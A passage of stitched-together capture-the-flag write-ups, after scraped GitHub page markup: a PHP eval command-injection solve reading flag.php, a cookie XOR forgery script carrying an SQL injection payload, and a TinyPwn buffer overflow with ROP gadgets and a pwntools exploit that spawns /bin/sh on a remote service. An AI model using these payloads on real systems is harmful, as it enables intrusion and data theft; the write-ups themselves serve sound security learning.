1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# ▼▼▼Evaluation(Web:50pt) 376/780=48.2%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)** ```Evaluate your life.How are you doing, and are you doing the best you can possibly do?Look deeper within yourself, beyond the obvious.Look at the source of it all. Also, here's a PHP challenge. http://evaluation.web1.sunshinectf.org Author: hackucf_levi Update 2018-04-06 01:15 UTC: Back online!``` ``` ``` --- **【Confirm source code】** `eval()` will execute arbitrary source code!! --- **【TRY1】** ```GET /?hello=system(%22cat%20flag.php%22) HTTP/1.1Host: evaluation.web1.sunshinectf.org``` ↓ ```string(2) "?>"``` ↓ failed!! --- **【TRY2】** ```GET /?hello=system(%22cat%20flag.php|base64%22) HTTP/1.1Host: evaluation.web1.sunshinectf.org``` ↓ `PD9waHAgCiRmbGFnID0iTm9wZSI7CgovLyBzdW57YzBtbTRuRF8xTmozY3RpMG5faTVfRTRzWX07 Cgo/Pg== string(8) "Cgo/Pg=="` ↓ `PD9waHAgCiRmbGFnID0iTm9wZSI7CgovLyBzdW57YzBtbTRuRF8xTmozY3RpMG5faTVfRTRzWX07` ↓Decode with base64 ``` ``` ↓ `sun{c0mm4nD_1Nj3cti0n_i5_E4sY}`
Korean write-up by kimtruth [https://kimtruth.github.io/2018/05/07/PCTF-2018-crauthz-Web/](https://kimtruth.github.io/2018/05/07/PCTF-2018-crauthz-Web/) ```import base64key = 'dcfe4631bf8ef4d90e997dc5fe64fe04dbecf7d6b6d4c5c68aa0c49912563d4ce230561910fbb722f3949548c6011335612f63a8f0e3ab69fd7c465e80e68e22cd0d5e215ba60896f850cb1044231c7c06cb3924956a9af6162ba3b1f6fa'.decode('hex')def xor(x, y): return ''.join([chr(ord(xe) ^ ord(ye)) for xe,ye in zip(x,y)])def encrypt(a): result = xor(a, key) return base64.urlsafe_b64encode(result)def decrypt(enc): return xor(enc, key)# testcookie_str = 'p9wpRtHrhrdv9BjnxETcNenfw_Sa9Oeo48TmozJkCXjaTQ=='enc = base64.urlsafe_b64decode(cookie_str)print decrypt(enc) # {"ownername": "1234", "nid": 2448}print encrypt('{"ownername": "1234", "nid": "2448\' or 1=1 -- -"}')```
# TinyPwn AsisCTF Quals 2018 I did this problem at school, so I didn't have ida xD. You'll have to bear with objdump. Objdumping the binary we get: ```TinyPwn: file format elf64-x86-64 Disassembly of section .text: 00000000004000b0 <.text>: 4000b0: 48 31 c0 xor %rax,%rax 4000b3: 48 31 db xor %rbx,%rbx 4000b6: 48 31 c9 xor %rcx,%rcx 4000b9: 48 31 d2 xor %rdx,%rdx 4000bc: 48 31 ff xor %rdi,%rdi 4000bf: 48 31 f6 xor %rsi,%rsi 4000c2: 4d 31 c0 xor %r8,%r8 4000c5: 4d 31 c9 xor %r9,%r9 4000c8: 4d 31 d2 xor %r10,%r10 4000cb: 4d 31 db xor %r11,%r11 4000ce: 4d 31 e4 xor %r12,%r12 4000d1: 4d 31 ed xor %r13,%r13 4000d4: 4d 31 f6 xor %r14,%r14 4000d7: 4d 31 ff xor %r15,%r15 4000da: 48 31 ed xor %rbp,%rbp 4000dd: e8 10 00 00 00 callq 0x4000f2 4000e2: b8 3c 00 00 00 mov $0x3c,%eax 4000e7: 48 31 ff xor %rdi,%rdi 4000ea: 48 31 f6 xor %rsi,%rsi 4000ed: 48 31 d2 xor %rdx,%rdx 4000f0: 0f 05 syscall 4000f2: 48 81 ec 28 01 00 00 sub $0x128,%rsp 4000f9: 48 89 e6 mov %rsp,%rsi 4000fc: ba 48 01 00 00 mov $0x148,%edx 400101: 0f 05 syscall 400103: 48 81 c4 28 01 00 00 add $0x128,%rsp 40010a: c3 retq``` It is a tiny binary indeed. It uses syscalls to read 0x148 bytes, then returns. Easy buffer overflow. We quickly find that the padding is 0x128 until the ret address. The problem is how do we get a shell? We can use ROPgadget to get a list of gadgets: ```Gadgets information============================================================0x0000000000400108 : add byte ptr [rax], al ; ret0x00000000004000ff : add byte ptr [rax], al ; syscall0x0000000000400104 : add esp, 0x128 ; ret0x0000000000400103 : add rsp, 0x128 ; ret0x00000000004000e9 : dec dword ptr [rax + 0x31] ; test byte ptr [rax + 0x31], 0xd2 ; syscall0x00000000004000fc : mov edx, 0x148 ; syscall0x00000000004000fa : mov esi, esp ; mov edx, 0x148 ; syscall0x00000000004000f9 : mov rsi, rsp ; mov edx, 0x148 ; syscall0x000000000040010a : ret0x0000000000400106 : sub byte ptr [rcx], al ; add byte ptr [rax], al ; ret0x00000000004000f0 : syscall0x00000000004000ec : test byte ptr [rax + 0x31], 0xd2 ; syscall0x00000000004000e8 : xor edi, edi ; xor rsi, rsi ; xor rdx, rdx ; syscall0x00000000004000ee : xor edx, edx ; syscall0x00000000004000eb : xor esi, esi ; xor rdx, rdx ; syscall0x00000000004000e7 : xor rdi, rdi ; xor rsi, rsi ; xor rdx, rdx ; syscall0x00000000004000ed : xor rdx, rdx ; syscall0x00000000004000ea : xor rsi, rsi ; xor rdx, rdx ; syscall``` We don't have much at our disposal, so my idea was syscall. Looking at the list of syscalls here: ```http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/``` we see that sys_execve is 0x3b. However, we don't have a pop rax gadget! :( To get around this, we have to realize that the read syscall sets rax to be the length of the bytes read. However it requires 0x128 bytes to reach the ret address, and 0x128 > 0x3b. So we use stub_execveat instead, with opcode 0x142. For this syscall, rsi is the pointer to the execve file name, which is conveniently our buffer. Debugging this, we also find that we need to zero our rdx, otherwise it would crash, which we have a gadget for at 0x4000ed. Final attack plan:1) Make our input string start with /bin/sh\x002) Make our input string length 0x1423) Zero out rdx4) Syscall and get shell ```pythonfrom pwn import * r = process("./TinyPwn")r = remote("159.65.125.233", 6009) payload = "/bin/sh\x00" + "B"*(0x148-(8*4) - 8)payload += p64(0x00000000004000ed)payload += p64(0x400101)payload += "A"*(0x142-len(payload)-1) r.sendline(payload)r.interactive()```